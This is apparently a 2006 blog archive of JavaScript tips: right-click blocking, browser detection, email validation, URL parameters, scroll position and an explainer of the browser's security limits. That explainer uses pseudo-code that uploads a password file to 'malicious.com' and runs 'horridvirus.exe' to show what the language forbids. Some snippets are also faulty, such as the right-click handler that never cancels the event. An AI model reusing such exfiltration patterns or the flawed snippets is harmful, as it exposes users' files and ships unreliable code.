Tuesday, November 28, 2006

Javascript function to disable right click


Disabling right click using Javascript function.

<script language="javascript" type="text/javascript">var IE;var NN;if(navigator.appName=="Microsoft Internet Explorer"){     IE=true;}if(navigator.appName=="Netscape"){    NN=true;}function right(click){    if(IE&&(event.button==2||event.button==3))    {        alert('The right click is disabled');        false;    }        if(NN&&(click.which==2||click.which==3))    {       alert('The right click is disabled');       false;    }}if(document.layers)window.captureEvents(Events.MOUSEDOWN)if(document.layers)window.captureEvents(Events.MOUSEUP)document.onmousedown=right;document.onmouseup=right;window.document.layers=right;</script>

Wednesday, October 11, 2006

Detecting the browser using simple javascript function


Where the code used to check for if (ie) { ... }, now I wanted it to check for if (ie6OrLower) { ... }. So how to you tell the difference between IE 6 and IE 7+? You could parse the user-agent string, but I’d rather detect changes in the javascript object model. Here’s what I came up with:

if (typeof document.body.style.maxHeight != "undefined") {
// IE 7, mozilla, safari, opera 9
} else {
// IE6, older browsers
}

This distinguishes between browsers based on the fact that IE 7 knows about the maxHeight css property, whereas previous versions of IE didn’t.

Tuesday, October 10, 2006

Simple javascript function to open all the collapsible panels


function OpenAll(sender)
{
if(sender == 'ctl00_CPH_CustomerCP')
{
var ids = ['ctl00_CPH_LiabilitiesCP','ctl00_CPH_IncomeCP'];
}

else if(sender == 'ctl00_CPH_LiabilitiesCP')
{
var ids = ['ctl00_CPH_CustomerCP','ctl00_CPH_IncomeCP'];
}

else if(sender == 'ctl00_CPH_IncomeCP')
{
var ids = ['ctl00_CPH_CustomerCP','ctl00_CPH_LiabilitiesCP'];
}

for (var i = 0; i < ids.length; i++)
{
var ctrl = $object(ids[i]);
if (!ctrl) continue;

// Musze sprawdzic wszystkie mozliwe zachowania
var behaviors = ctrl.get_behaviors();
for (var j = 0; j < behaviors.length; j++)
{
// Sprawdzam czy mamy CP o podanej nazwie
var behavior = behaviors[j];
if (Object.getTypeName(behavior) == 'AtlasControlToolkit.CollaspablePanelBehavior')
{
behavior._doOpen();
}
}
}
}

A simple javascript function to validate email address


This is a simple javascript funciton which validates the entered email address. You can add this to your javascript library functions. Know more information from this link

 

//calling the method
btnSubmit.Attributes.Add("OnClick", "javascript:return CheckEmail('txtEmail');")

//function CheckEmail
function CheckEmail(ControlID)
{
var str=document.getElementById(ControlID).value;
if (str != "" )
{

var at="@"
var dot="."
var lat=str.indexOf(at)
var lstr=str.length
var ldot=str.indexOf(dot)

if (str.indexOf(at)==-1)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}

if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}

if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}

if (str.indexOf(at,(lat+1))!=-1)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}

if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}

if (str.indexOf(dot,(lat+2))==-1)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}

if (str.indexOf(" ")!=-1)
{
alert("Invalid E-mail ID");
document.getElementById(ControlID).focus();
return false;
}
return true;
}
}

Monday, September 25, 2006

The list of different Javascript Versions


JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).

Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.

Javascript Versions

There have been several formal versions of JavaScript.

  • 1.0: Netscape 2
  • 1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its version)
  • 1.2: Early Version 4 browsers
  • 1.3: Later Version 4 browsers and Version 5 browsers
  • 1.4: Not used in browsers, only on Netscape servers
  • 1.5: Current version.
  • 2.0: Currently under development by Brendan Eich and others.

Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support.

Get more information

Tags: javascript, javascript versions, livescript, netscape, browser, html pages, sun, brendan eich, server side

The Security provided by Javascript Language


JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

  1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
    You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
  2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
  3. You cannot set the value of a file upload field (<input type="file">).
    document.forms[0].upload_field.value = '/my/password/file';
    document.forms[0].submit();

  4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
    However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
  5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
  6. You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
    Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Get more information

Tags: javascript, javascript security, html page, web page, password file, malicious site, frame busting, script, frameset, submit form

The following Javascript cannot do...


JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

  1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard
    filesystem.read('/my/password/file');
    filesystem.write('horridvirus.exe');


  2. JavaScript cannot execute any other programs. This would also be unacceptable

    execute('horridvirus.exe')


  3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

    var security_hazard = connection.open('malicious.com');
    security_hazard.upload(filesystem.read('/my/password/file'));
    security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));


Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas.

Get more information

Tags: javascript, programming language, scripting language, browser, browser support

Tuesday, September 19, 2006

A simple Javascript function to get URL parameters


Most of the server-side programming languages that I know of like PHP, ASP, or JSP give you easy access to parameters in the query string of a URL. Javascript does not give you easy access. With javascript you must write your own function to parse the window.location.href value to get the query string parameters you want. Here is a small function I wrote that will parse the window.location.href value and return the value for the parameter you specify. It does this using javascript's built in regular expressions. Here is the function:

function gup( name )
{
  var regexS = "[\\?&]"+name+"=([^&#]*)";
  var regex = new RegExp( regexS );
  var tmpURL = window.location.href;
  var results = regex.exec( tmpURL );
  if( results == null )
    return "";
  else
    return results[1];
}

The way that the function is used is fairly simple. Let's say you have the following URL:

http://www.foo.com/index.html?bob=123&frank=321&tom=213#top

You want to get the value from the frank parameter so you call the javascript function as follows:

var frank_param = gup( 'frank' );

Now if you look at the frank_param variable it contains the number 321. The query string was parsed by the regular expression and the value of the frank parameter was retrieved. The function is smart in a couple of ways. For example, if you have an anchor in your URL like our example URL above does (#top) the gup() function knows to stop before the # character. Also, if a requested parameter doesn't exist in the query string then an empty string is returned instead of a null.

Get more information

Tags: javascript, url parameters, get url parameters, server side, window.location.href, javascript function

Thursday, September 07, 2006

Getting the Scrolling position using Javascript


Page scrolling is one of the least-standardized properties in JavaScript: three variations are now in use by different versions of different browsers. But with a few careful object tests, we can reliably get a consistent value.

Solution

There are three ways of getting this information. We'll use object tests on each approach, to determine the level of support available:

Example 7.8. get-scrolling-position.js (excerpt)
function getScrollingPosition()
{
var position = [0, 0];
if (typeof window.pageYOffset != 'undefined')
{
position = [
window.pageXOffset,
window.pageYOffset
];
}
else if (typeof document.documentElement.scrollTop
!= 'undefined' && document.documentElement.scrollTop > 0)
{
position = [
document.documentElement.scrollLeft,
document.documentElement.scrollTop
];
}
else if (typeof document.body.scrollTop != 'undefined')
{
position = [
document.body.scrollLeft,
document.body.scrollTop
];
}
return position;
}

The function can now be called as required. Here's a simple demonstration, using a window.onscroll event handler, that gets the figures and writes them to the title bar:

Example 7.9. get-scrolling-position.js (excerpt)
window.onscroll = function()
{
var scrollpos = getScrollingPosition();
document.title = 'left=' + scrollpos[0] + ' top=' +
scrollpos[1];
};

The Problem with scroll

scroll is not the most reliable of events: it may not fire at all in Konqueror or Safari 1.0, or when the user navigates with a mouse wheel in Firefox. And if it does fire, it may do so continually and rapidly (as it does in Internet Explorer), which can be slow and inefficient if the scripting you set to respond to the event is very complex.

If you have difficulties of this kind, you may find it better to use the setInterval function instead of an onscroll event handler. setInterval will allow you to call the function at a predictable interval, rather than in response to an event.

window.setInterval(function()
{
var scrollpos = getScrollingPosition();
document.title = 'left=' + scrollpos[0] + ' top=' +
scrollpos[1];
}, 250);

Discussion

The only real complication here is that IE 5 actually does recognize the documentElement.scrollTop property, but its value is always zero, so we have to check the value as well as looking for the existence of the property.

Otherwise, it doesn't really matter to us which browser is using which property; all that matters is that our script gets through one of the compatibility tests and returns a useful value. However, the properties used by each browser are shown here for reference:

  • window.pageYOffset is used by Firefox and other Mozilla browsers, Safari, Konqueror, and Opera.
  • document.documentElement.scrollTop is used by IE 6 in standards-compliant mode.
  • document.body.scrollTop is used by IE 5, and IE 6 in "Quirks" mode.

This list doesn't tell the complete story, but it's intended primarily to describe the ordering of the tests. More recent Mozilla browsers (such as Firefox) also support documentElement.scrollTop and body.scrollTop, by the same rendering mode rules as IE 6. Safari and Konqueror support body.scrollTop in either mode. Opera supports all three properties in any mode!

But none of this is important for you to know -- browser vendors add these multiple properties to allow for scripts that are unaware of one property or another, not to provide arbitrary choices for the sake of it. From our perspective, the important point is to settle on a set of compatibility tests that ensures our script will work as widely as possible.

Get more information

Tags: scroll position, javascript, javascript code, mouse position, browsers, page scrolling, scrolltop